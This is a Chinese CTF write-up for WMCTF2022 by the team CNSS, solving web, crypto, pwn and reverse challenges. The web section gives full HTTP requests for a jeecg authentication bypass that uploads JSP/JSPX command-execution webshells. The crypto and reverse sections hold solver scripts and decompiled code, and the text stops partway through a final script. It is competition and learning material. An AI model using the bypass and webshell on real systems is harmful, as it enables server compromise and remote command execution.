WMCTF2022 Writeups - CNSS

WMCTF2022 Writeup - CNSS

Web

easyjeecg

/api/../ 权限认证绕过

随便找个GetShell就行

CgUploadController 路由传 upload目录访问马是 nginx 403

iconController 路由传 plug-in/accordion/images目录 404

upload 目录禁止访问 jsp 后缀

另外有个未授权 /webpage/system/druid/websession.json

可以查看所有人的session,这道题应该没用

admin 重置密码的洞也失败

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /api/../cgUploadController.do?ajaxSaveFile&sessionId=12DFB3DED5E177EBA04AED2EE3C86996 HTTP/1.1
Host: b29410c4-3af1-459b-a8af-32911b481641.wmctf2022.wm-team.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: <http://b29410c4-3af1-459b-a8af-32911b481641.wmctf2022.wm-team.cn:81/>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type:multipart/form-data;boundary=---------------------------7d33a816d302b6
Cookie: JSESSIONID=12DFB3DED5E177EBA04AED2EE3C86996
Connection: close
Content-Length: 598

-----------------------------7d33a816d302b6
Content-Disposition: form-data; name="test"; filename="shell.jsp"
Content-Type: application/octet-stream

<%
Process process = Runtime.getRuntime().exec(request.getParameter("c"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().println(line);
}
%>

-----------------------------7d33a816d302b6--

传jspx就可以了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
POST /api/../cgUploadController.do?ajaxSaveFile&sessionId=12DFB3DED5E177EBA04AED2EE3C86996 HTTP/1.1
Host: b29410c4-3af1-459b-a8af-32911b481641.wmctf2022.wm-team.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: <http://b29410c4-3af1-459b-a8af-32911b481641.wmctf2022.wm-team.cn:81/>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type:multipart/form-data;boundary=---------------------------7d33a816d302b6
Cookie: JSESSIONID=12DFB3DED5E177EBA04AED2EE3C86996
Connection: close
Content-Length: 1117

-----------------------------7d33a816d302b6
Content-Disposition: form-data; name="test"; filename="shell.jspx"
Content-Type: application/octet-stream

<jsp:root xmlns:jsp="<http://java.sun.com/JSP/Page>" xmlns="<http://www.w3.org/1999/xhtml>" xmlns:c="<http://java.sun.com/jsp/jstl/core>" version="2.0">
<jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<jsp:scriptlet><![CDATA[
String tmp = pageContext.getRequest().getParameter("str");
if (tmp != null&&!"".equals(tmp)) {
try{
String str = new String(tmp);
Process p = Runtime.getRuntime().exec(str);
InputStream in = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in,"GBK"));
String brs = br.readLine();
while(brs!=null){
out.println(brs+"</br>");
brs = br.readLine();
}
}catch(Exception ex){
out.println(ex.toString());
}
}]]>
</jsp:scriptlet>
</jsp:root>

-----------------------------7d33a816d302b6--
GET /upload/20220821/20220821221842v0QVy7Gi.jspx?str=/readflag HTTP/1.1
Host: b29410c4-3af1-459b-a8af-32911b481641.wmctf2022.wm-team.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=12DFB3DED5E177EBA04AED2EE3C86996; Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1661116950; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1661116950
Connection: close

拿了shell之后看了下服务器配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/sh</br>
echo c2VydmVyIHsKICAgICAgICBsaXN0ZW4gODAgZGVmYXVsdF9zZXJ2ZXI7CiAgICAgICAgbGlzdGVuIFs6Ol06ODAgZGVmYXVsdF9zZXJ2ZXI7CiAgICAgICAgaW5kZXggaW5kZXguaHRtbCBpbmRleC5odG0gaW5kZXgubmdpbngtZGViaWFuLmh0bWw7CiAgICAgICAgc2VydmVyX25hbWUgXzsKICAgICAgICBsb2NhdGlvbiAvIHsKICAgICAgICAgICAgICAgIHByb3h5X3Bhc3MgaHR0cDovLzEyNy4wLjAuMTo4MDgwOwogICAgICAgICAgICAgICAgaW5kZXggIGluZGV4Lmh0bWwgaW5kZXguaHRtIGluZGV4LmpzcDsKICAgICAgICB9CiAgICAgICAgbG9jYXRpb24gfiBeL3VwbG9hZC8uKlwuanNwJCB7CiAgICAgICAgICAgICAgICBwcm94eV9wYXNzIGh0dHA6Ly8xMjcuMC4wLjE6ODA4MDsKICAgICAgICAgICAgICAgIGRlbnkgYWxsOwogICAgICAgIH0KfQ==|base64 -d > /etc/nginx/sites-available/default</br>
/etc/init.d/nginx restart</br>
chmod 4755 /readflag</br>
echo $FLAG > /root/flag</br>
chmod 700 /root/flag</br>
export FLAG=flag_not_here</br>
FLAG=flag_not_here</br>
server {
listen 80 default_server;
listen [::]:80 default_server;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
proxy_pass <http://127.0.0.1:8080>;
index index.html index.htm index.jsp;
}
location ~ ^/upload/.*\\.jsp$ {
proxy_pass <http://127.0.0.1:8080>;
deny all;
}
}

Crypto

ecc

通过计算可得知

((x3x1)34y12+(3x12(x3x1)+y32y12(x33x13))2)(x1x3)2(y3+y1)24y12=0modp((x_3-x_1)^3*4y_1^2+(3x_1^2*(x_3-x_1)+y_3^2-y_1^2-(x_3^3-x_1^3))^2)*(x1-x_3)^2-(y_3+y_1)^2*4y_1^2 = 0 \mod p

然后通过求gcd分解n,得到明文m之后发现似乎并不是flag,第一个为不可见字符。左思右想良久之后发现m的比特位只有200出头,而output说flag有606比特,然后突然想起来还有椭圆曲线的a和b没用到,发现a和b的比特位刚好也是200出头,加起来正好606.由于比特字符8位一分组,所以从1-8简单的爆破了一下偏移,发现了a和b中有可打印字符,拼接起来就行

homo

先把所有p_i求出来,构造如下格子

(2191pk1pk2pkn1pkn0pk000000pk000000pk000000pk0)\begin{pmatrix}2^{191} & pk_1 & pk_2& \cdots & pk_{n-1}&pk_n\\ 0 & -pk_0 & 0 & \cdots & 0 &0\\ \vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \dots & -pk_0 &0 &0 \\ 0&0&\dots& 0&-pk_0 &0\\ 0&0&\dots &0&0&-pk_0 \end{pmatrix}

1
2
3
4
5
6
7
8
9
10
11
12
13
pk=[]
n = len(pk)
print(n)

M = matrix(ZZ,n,n)
M[0,0] = 2**191
for i in range(1,n):
M[i,i] = -pk[0]
M[0,i] = pk[i]
output = open("file.txt","w")
M = M.LLL()
print(M,file=output)
print(M[0])

由于

pipk0p0pki=2(r0pirip0)p_i*pk_0-p_0*pk_i = 2*(r_0*p_i-r_i*p_0)

整理得

r0pirip0=tmpir_0*p_i-r_i*p_0 = tmp_i

然后构造如下矩阵,求出r_i

(r0,r1,rn1,rn,1)(p12300p22300p3230000p0230000000000000p0230010tmp12300tmp22300tmpn230002191)=(0,0,,0,rn,2191)\left(\begin{array}{c} r_0,r_1,\dots r_{n-1},r_n,1 \end{array}\right)\begin{pmatrix}p_1 *2^{300}& p_2*2^{300} & p_3*2^{300}& \cdots & 0&0\\-p_0*2^{300} & 0 & 0 & \cdots & 0 &0\\ \vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \dots & 0 &0 &0 \\ 0&0&\dots& -p_0*2^{300}&1 &0\\ -tmp_1*2^{300}&-tmp_2*2^{300}&\dots &-tmp_n*2^{300}&0&2^{191}\end{pmatrix} = \left(\begin{array}{c}0,0,\dots,0,r_n,2^{191}\end{array}\right)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
q=[]
x=[]#数据省略
n = 500
M = matrix(ZZ,n,n)

for i in range(n-2):
tmp_i = q[i+1]*x[0]-q[0]*x[i+1]
tmp_i = tmp_i//2
M[0,i] = q[i+1]*2**300
M[i+1,i] = -q[0]*2**300
M[n-1,i] = -tmp_i*2**300
M[n-2,n-2] = 1
M[n-1,n-1] = 2**191
#matrix_overview(M)
output = open("r.txt","w")
print('start LLL')
G = M.LLL()
print('LLL over')
print("start inverse")
MT = M.inverse()
print("inverse over")
ans = G[1]
print(ans*MT)
print(M,file=output)

然后求得sk,解密即可

1
2
3
4
5
6
7
c = [] #数据省略
sk=41565572874253689464437825525802665878958533473562648432875965578230785556539072257838190060392315994424904212374664222250474284551725096002854097371874119
flag_list = [(i%sk)%2 for i in c]
flag = ''
for i in flag_list:
flag+=str(i)
print(long_to_bytes(int(flag,2)))

不过事后发现,似乎并不一定要原本的sk才能解密(事实上这样求出来的sk,r_i也应该不是原本的,都并非素数),可以直接用二元coppersmith,先求出sk

的近似sk_0,然后得到pk_0=p_0(sk_0+x)+2*y 利用small_roots梭出来的也能用来解密flag

nanoDiamod

很朴素的想法,前面12轮查询如果出现了两次不同,那最后2轮一定是返回正确的结果(如果恰好错误都落在对同一个变量的查询上就寄)

其他情况就当给的都是正确的

有时候,知道的太多反而不好.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
context.log_level='INFO'
from Crypto.Util.number import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256

from gmpy2 import *
table = string.ascii_letters+string.digits
io = remote("1.13.154.182",31778)

def passpow():
io.recvuntil(b"XXXX+")
suffix = io.recv(16).decode("utf8")
io.recvuntil(b"== ")
cipher = io.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
io.sendline(proof.encode())

passpow()
ROUND_NUM = 50
io.recvuntil("Can you get all the treasure without losing your head?")
for i in range(ROUND_NUM):
io.recvuntil("Be careful, Skeleton Merchant can lie twice!")
print(f'round = {i}')
ans = []
for j in range(6):
io.recvuntil("Question: ")
io.sendline(f'B{j} == 1')
io.recvuntil("Answer: ")
tmp = io.recvline().strip()[:-1]
if(eval(tmp)):
ans.append(1)
else:
ans.append(0)
num=0
idx = []
for j in range(6):
io.recvuntil("Question: ")
io.sendline(f'B{j} == 1')
io.recvuntil("Answer: ")
tmp = io.recvline().strip()[:-1]
if(eval(tmp)==ans[j]):
continue
else:
num+=1
idx.append(j)
flag = 0
for j in range(2):
if(num==0):
print("CASE 0")
io.recvuntil("Question: ")
io.sendline("1 == 1")
io.recvuntil("Answer: ")
tmp = io.recvline().strip()[:-1]
if(eval(tmp)):
continue
elif(num==1):
print("CASE 1")
if(j==0):
io.recvuntil("Question: ")
io.sendline("1 == 1")
io.recvuntil("Answer: ")
tmp = io.recvline().strip()[:-1]
if(eval(tmp)):
continue
else:
flag=1
if(j==1):
io.recvuntil("Question: ")
io.sendline(f"B{idx[0]} == 1")
io.recvuntil("Answer: ")
tmp = io.recvline().strip()[:-1]
if(eval(tmp)):
ans[idx[0]] = 1
else:
ans[idx[0]] = 0
else:
print(f"CASE 2 and num = {num}")
io.recvuntil("Question: ")
io.sendline(f"B{idx[j]} == 1")
io.recvuntil("Answer: ")
tmp = io.recvline().strip()[:-1]
if(eval(tmp)):
ans[idx[j]] = 1
else:
ans[idx[j]] = 0

tosend = str(ans)[1:-1].replace(',','')
io.recvuntil('Now open the chests:\n')
io.sendline(tosend)
#sleep(2)

io.interactive()

nanoDiamond-rev

首先我们有异或运算:

r1 xor r2 = ((r1 and r2) == 0 ) and (r1 or r2)

考虑先询问每个值一次,询问方法类似:

B0 == 1

得到每个bool变量的初始值。

由于可能说谎,验证一下,询问:

B0 xor B1 == 1

B2 xor B3 == 1

B4 xor B5 == 1

假设上面的询问与第一轮得到的值有矛盾,则说明A、B、A xor B 中有一个假信息。(有两个假信息概率较小)

此时已经出现一次错误,我们认定后面的回答都是正确的(再次出现假信息概率较小)

考虑再次询问 A xor B:

若答案和之前相同,则认为A xor B正确,询问A可以得到A和B哪个正确,更新A和B的值。

若答案和之前不同则认为A xor B错误,保持A和B值不变。

由于最多可能出现两次矛盾,每次矛盾需要2次询问验证,总询问次数最多为6+3+2+2=13。

但是前面忽略的几种“概率较小”的情况加起来并且在连续进行50轮的情况下出现的概率是非常高的。

但是不怕,我是欧皇,跑了几百次就出flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
context.log_level='info'
from Crypto.Util.number import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256

from gmpy2 import *
table = string.ascii_letters+string.digits

def passpow():
io.recvuntil(b"XXXX+")
suffix = io.recv(16).decode("utf8")
io.recvuntil(b"== ")
cipher = io.recvline().strip().decode("utf8")
gg = 0
print(suffix)
print(cipher)
for i1 in range(len(table)):
for i2 in range(len(table)):
for i3 in range(len(table)):
for i4 in range(len(table)):
sss = sha256((table[i1]+table[i2]+table[i3]+table[i4]+suffix).encode()).hexdigest()
if sss == cipher:
gg = 1
io.sendline((table[i1]+table[i2]+table[i3]+table[i4]).encode())
break
if gg == 1:
break
if gg == 1:
break
if gg == 1:
break
#io.sendline(proof.encode())
def Xor(a, b):
return f"( ( ( {a} and {b} ) == 0 ) and ( {a} or {b} ) )"
def Not(x):
if x == 1:
return 0
else:
return 1

def solve(a, b, vala, valb):
io.recvuntil(b"Question: ")
io.sendline(f'{Xor(f"B{a}", f"B{b}")} == 1'.encode())
io.recvuntil(b"Answer: ")
tmp = io.recvline().strip()[:-1]
if (eval(tmp)) == ((vala ^ valb) == 1):
return vala, valb, 1
io.recvuntil(b"Question: ")
io.sendline(f'{Xor(f"B{a}", f"B{b}")} == 1'.encode())
io.recvuntil(b"Answer: ")
tmp2 = io.recvline().strip()[:-1]
if (eval(tmp2)) == ((vala ^ valb) == 1):
return vala, valb, 2
io.recvuntil(b"Question: ")
io.sendline(f'B{a} == 1'.encode())
io.recvuntil(b"Answer: ")
tmp = io.recvline().strip()[:-1]
if (eval(tmp)) == vala:
return vala, Not(valb), 3
else:
return Not(vala), valb, 3

def exp():
passpow()
print("DONEPOW")
ROUND_NUM = 50
#io.interactive()
io.recvuntil(b"Can you get all the treasure without losing your head?")
for i in range(ROUND_NUM):
io.recvuntil(b"Be careful, Skeleton Merchant can lie twice!")
print(f'round = {i}')
ans = []
for j in range(6):
io.recvuntil(b"Question: ")
io.sendline(f'B{j} == 1'.encode())
io.recvuntil(b"Answer: ")
tmp = io.recvline().strip()[:-1]
if(eval(tmp)):
ans.append(1)
else:
ans.append(0)

num = 6
a, b, c = solve(0, 1, ans[0], ans[1])
num += c
ans[0] = a
ans[1] = b

a, b, c = solve(2, 3, ans[2], ans[3])
num += c
ans[2] = a
ans[3] = b

a, b, c = solve(4, 5, ans[4], ans[5])
num += c
ans[4] = a
ans[5] = b

remain = 13 - num
for j in range(remain):
io.recvuntil(b"Question: ")
io.sendline(f'B{j} == 1'.encode())
io.recvuntil(b"Answer: ")
tmp = io.recvline().strip()[:-1]


tosend = str(ans)[1:-1].replace(',','')
io.recvuntil(b'Now open the chests:\n')
io.sendline(tosend)

io.interactive()

while True:
try:
io = remote("1.13.154.182", 32664)
exp()
except Exception as e:
print(e)

PWN

Ubuntu

flag在附件里

Reverse

BabyDriver

通过字符串分析找到主函数 0x140006810

flag 为 32 位

sub_140006750 中有 flag 异或和结构体赋值

sub_140010100 为垃圾代码,功能等于 strcmp,通过引用找到密文

分析 sub_140006750 中后面的调用,找到一些无关的函数调用,通过 API 文档和网络搜索可以发现这符合驱动注入代码,在 NtQueryInformationFile 中 FileInformationClass 为 FileUnusedInformation 时触发,合理猜测他为类似 hook 的功能,其注入代码为 WMCTF101.txt

用 IDA 分析注入代码可发现 AES 的 S 盒,已知密文和在结构题赋值中的密钥,猜加密方式写脚本得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES

def decrypt(data, password, iiv):
cipher = AES.new(password, AES.MODE_ECB)
data = cipher.decrypt(data)
return (data)

if __name__ == '__main__':
encrypt_data = b'\xEF\x76\xD5\x41\x86\x57\x5A\x8E\xC2\xB8\xB6\xEE\x08\x56\xB9\xB8\x0E\x40\x75\x21\x41\x4B\x15\x71\x2C\x9B\x5E\x64\x35\x5B\x4A\x58'
password = 'Welcome_To_WMCTF'.encode('ascii')
iiv = b'\x12\x34\x56\x11\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
print(password)
decrypt_data = decrypt(encrypt_data, password, iiv)
result = []
print ('decrypt_data:', len(decrypt_data), decrypt_data)
for i in range(len(decrypt_data)):
result.append(decrypt_data[i] ^ i)
print(chr(result[i]),end='')

Archgame

load_code处对bin文件进行了一个解密

1
2
3
for ( i = 0LL; i < size; ++i ) {
g_code_data[i] ^= *((_BYTE *)&global_key + (i & 3));
}

round()函数有两个switch,手动修复一下,大概逻辑是这个样子。

是一些关于unicorn虚拟机的操作,查一下unicorn引擎的文档可以得到函数作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
__int64 round()
{
errorcode1 = uc_open((unsigned int)g_arch, (unsigned int)g_mode, &uc_engine);
//创建虚拟机实例
/* Error Handler */
errorcode1 = uc_mem_map(uc_engine, 0LL, 655360LL, 7LL);
//创建从地址0开始 长度655360的内存,权限为RWX
/* Error Handler */
uc_mem_write(uc_engine, 0LL, g_code_data, 655360LL);
//向内存地址0处写入bin文件解密结果
errorcode1 = uc_mem_map(uc_engine, 0x70000000LL, 0x4000LL, 7LL);
//创建从地址0x70000000开始 长度0x4000的内存,权限为RWX
/* Error Handler */
uc_mem_write(uc_engine, 0x70000000LL, input_area, 0x4000LL);
//向地址0x70000000写入输入的数据,长度为0x4000
errorcode2 = uc_mem_map(uc_engine, 0x20000000LL, 0x8000LL, 7LL);
//创建从地址0x20000000开始 长度0x8000的内存,权限为RWX
v9 = 536903424LL;
v10[0] = 1879048448LL;
switch ( g_arch )
{
case 1: //ARM
uc_reg_write(uc_engine, 12LL, &v9);
uc_reg_write(uc_engine, 10LL, v10);
//写寄存器
break;
case 2: // ARM-64
uc_reg_write(uc_engine, 4LL, &v9);
uc_reg_write(uc_engine, 2LL, v10);
break;
case 3: // Mips
uc_reg_write(uc_engine, 31LL, &v9);
uc_reg_write(uc_engine, 33LL, v10);
break;
case 5: // PowerPC
uc_reg_write(uc_engine, 3LL, &v9);
uc_reg_write(uc_engine, 74LL, v10);
break;
case 8: // RISCV
uc_reg_write(uc_engine, 3LL, &v9);
uc_reg_write(uc_engine, 2LL, v10);
break;
}
uc_hook_add(uc_engine, (unsigned int)&v8, 1008, (unsigned int)hook_mem, 0, 1, 0LL);
//hook了一些非法操作,看起来像是异常处理 hook_mem 是nop函数
errorcode1 = uc_emu_start(uc_engine, 0LL, v9, 0LL, 0LL);
//从地址0执行到536903424
switch ( g_arch )
{
case 1u:
uc_reg_read(uc_engine, 66, (__int64)&roundkey);
//读寄存器
break;
case 2u:
uc_reg_read(uc_engine, 199, (__int64)&roundkey);
break;
case 3u:
uc_reg_read(uc_engine, 4, (__int64)&roundkey);
break;
case 5u:
uc_reg_read(uc_engine, 5, (__int64)&roundkey);
break;
case 8u:
uc_reg_read(uc_engine, 11, (__int64)&roundkey);
break;
default:
break;
}
uc_close(uc_engine);
return roundkey;
}

程序的逻辑整体是把challs.bin解密之后加载进来,和输入的fake_flag一起加载到虚拟机中,当flag正确时会返回一个正确的round_key。

global_key 是 round_key 的异或和。每轮使用 round_key 在 map 里寻找对应的 code_info,最后所有 round_key 按顺序拼起来就是 flag。

比较关心的是 g_arch 和 g_mode。查一下unicorn.h的结构体的定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
typedef enum uc_arch {
UC_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2)
UC_ARCH_ARM64, // ARM-64, also called AArch64
UC_ARCH_MIPS, // Mips architecture
UC_ARCH_X86, // X86 architecture (including x86 & x86-64)
UC_ARCH_PPC, // PowerPC architecture
UC_ARCH_SPARC, // Sparc architecture
UC_ARCH_M68K, // M68K architecture
UC_ARCH_RISCV, // RISCV architecture
UC_ARCH_S390X, // S390X architecture
UC_ARCH_TRICORE, // TriCore architecture
UC_ARCH_MAX,
} uc_arch;

// Mode type
typedef enum uc_mode {
UC_MODE_LITTLE_ENDIAN = 0, // little-endian mode (default mode)
UC_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode

// arm / arm64
UC_MODE_ARM = 0, // ARM mode
UC_MODE_THUMB = 1 << 4, // THUMB mode (including Thumb-2)
// Depreciated, use UC_ARM_CPU_* with uc_ctl instead.
UC_MODE_MCLASS = 1 << 5, // ARM's Cortex-M series.
UC_MODE_V8 = 1 << 6, // ARMv8 A32 encodings for ARM
UC_MODE_ARMBE8 = 1 << 10, // Big-endian data and Little-endian code.
// Legacy support for UC1 only.

// arm (32bit) cpu types
// Depreciated, use UC_ARM_CPU_* with uc_ctl instead.
UC_MODE_ARM926 = 1 << 7, // ARM926 CPU type
UC_MODE_ARM946 = 1 << 8, // ARM946 CPU type
UC_MODE_ARM1176 = 1 << 9, // ARM1176 CPU type

// mips
UC_MODE_MICRO = 1 << 4, // MicroMips mode (currently unsupported)
UC_MODE_MIPS3 = 1 << 5, // Mips III ISA (currently unsupported)
UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA (currently unsupported)
UC_MODE_MIPS32 = 1 << 2, // Mips32 ISA
UC_MODE_MIPS64 = 1 << 3, // Mips64 ISA

// x86 / x64
UC_MODE_16 = 1 << 1, // 16-bit mode
UC_MODE_32 = 1 << 2, // 32-bit mode
UC_MODE_64 = 1 << 3, // 64-bit mode

// ppc
UC_MODE_PPC32 = 1 << 2, // 32-bit mode
UC_MODE_PPC64 = 1 << 3, // 64-bit mode (currently unsupported)
UC_MODE_QPX =
1 << 4, // Quad Processing eXtensions mode (currently unsupported)

// sparc
UC_MODE_SPARC32 = 1 << 2, // 32-bit mode
UC_MODE_SPARC64 = 1 << 3, // 64-bit mode
UC_MODE_V9 = 1 << 4, // SparcV9 mode (currently unsupported)

// riscv
UC_MODE_RISCV32 = 1 << 2, // 32-bit mode
UC_MODE_RISCV64 = 1 << 3, // 64-bit mode

// m68k
} uc_mode;

所有的code_info信息在init()函数里可以查到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  v87 = 1995092961;
v0 = (_DWORD *)std::map<unsigned int,code_info>::operator[](&g_code_info, &v87);
*v0 = 12;
v0[1] = 1;
v0[2] = 0;
v0[3] = 1995092961;
v87 = -1338879771;
v1 = (_DWORD *)std::map<unsigned int,code_info>::operator[](&g_code_info, &v87);
*v1 = 49;
v1[1] = 5;
v1[2] = 1073741828;
v1[3] = -1338879771;
v87 = 955664102;
v2 = (_DWORD *)std::map<unsigned int,code_info>::operator[](&g_code_info, &v87);
*v2 = 7;
v2[1] = 1;
v2[2] = 0;
v2[3] = 955664102;
//略

大概梳理一下 code_info 的存储方式

1
2
3
4
*v84 = 34; //chall 编号
v84[1] = 1; //g_arch
v84[2] = 0x40000000; //g_mode
v84[3] = -829803091; //round_key

程序启动时 round_key 是 0,找到对应文件是 chall14.bin,架构是 ARM64,载入之后大概长这个样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
__int64 sub_0()
{
//定义略
v7 = 1879048192i64;
v37 = &v7;
v36 = &v37;
v35[2] = (__int64)&v36;
v35[1] = 1879048192i64;
if ( MEMORY[0x70000000] == 102 )
{
if ( *(_BYTE *)(v7 + 1) == 108 )
{
if ( *(_BYTE *)(v7 + 2) == 97 )
{
v18[1] = v7 + 3;
if ( *(_BYTE *)(v7 + 3) == 103 )
{
v18[0] = (__int64)&v7;
v17[1] = (__int64)v18;
v34[0] = (__int64)&v7;
v33 = v34;
v32[1] = (__int64)&v33;
if ( *(_BYTE *)(v7 + 4) == 123 )
{
v0 = *(unsigned __int8 *)(v7 + 5);
v32[0] = v7 + 6;
v31[2] = (__int64)v32;
if ( v0 + *(unsigned __int8 *)(v7 + 6) == 220 )
{
return 1995092961;
}
else
{
v31[1] = v7 + 6;
v6 = *(_BYTE *)(v7 + 6);
v31[0] = (__int64)v16;
v30 = v31;
v29[1] = (__int64)&v30;
v16[0] = (__int64)&v7;
v29[0] = (__int64)&v7;
v28 = v29;
v27[1] = (__int64)&v28;
if ( (unsigned __int8)(v6 - *(_BYTE *)(v7 + 7)) == 179 )
{
return (unsigned int)-1693198170;
}
else
{
v27[0] = (__int64)&v15;
v26 = v27;
v25[1] = (__int64)&v26;
v15 = v7 + 7;
v14 = &v15;
v13[1] = (__int64)&v14;
v25[0] = (__int64)&v14;
v24 = v25;
v23[1] = (__int64)&v24;
v5 = *(_BYTE *)(v7 + 7);
v13[0] = (__int64)&v7;
v12 = v13;
v23[0] = (__int64)&v11;
v22[1] = (__int64)v23;
v11 = &v12;
v22[0] = (__int64)v13;
v21[1] = (__int64)v22;
v1 = *(unsigned __int8 *)(v7 + 8);
if ( (((v5 & 2 | ((~v5 & 0xF8 | v5 & 7) ^ 7) & 0x80) ^ 0x80 | (v5 & 4 | ((~v5 & 0xF8 | v5 & 7) ^ 7) & 1) ^ 4 | v5 & 0x78) ^ ((v1 & 2 | ~(_BYTE)v1 & 0x80) ^ 0x80 | (~v1 & 4 | v1 & 1) ^ 1 | v1 & 0x78)) == 81 )
{
return (unsigned int)-512132426;
}
else
{
v2 = *(_BYTE *)(v7 + 8);
v10 = &v7;
if ( (unsigned __int8)(*(_BYTE *)(v7 + 9) + v2) == 47 )
{
return (unsigned int)-1338879771;
}
else
{
v3 = *(_BYTE *)(v7 + 9);
v21[0] = (__int64)&v7;
v20[1] = (__int64)v21;
v20[0] = v7 + 10;
v19[1] = (__int64)v20;
if ( (unsigned __int8)(v3 - *(_BYTE *)(v7 + 10)) == 246 )
{
return (unsigned int)-1203572107;
}
else
{
v9 = &v7;
if ( (unsigned __int8)(*(_BYTE *)(v7 + 10) + *(_BYTE *)(v7 + 11)) == 124 )
{
v19[0] = (__int64)&v8;
v18[10] = (__int64)v19;
return 955664102;
}
else
{
return 1428707764;
}
}
}
}
}
}
}
else
{
v17[0] = (__int64)&v8;
v16[1] = (__int64)v17;
return 1428707764;
}
}
else
{
return 1428707764;
}
}
else
{
v18[2] = (__int64)&v8;
return 1428707764;
}
}
else
{
v18[3] = (__int64)&v8;
return 1428707764;
}
}
else
{
v35[0] = (__int64)&v8;
v34[1] = (__int64)v35;
return 1428707764;
}
}

观察到程序的返回值只有几种,而程序判断 fake_flag 是否正确的逻辑是在 map 里寻找有没有对应的 key。考虑无视程序逻辑,直接在 init 程序中遍历搜索这几种返回值直到找到一个存在的round_key。

虽然有多个返回值可以搜到,但由于challs是用前面所有round_key的异或和解密,可以认为如果按照对应架构载入能被IDA正确解析则key正确,否则key错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
global_key = 0
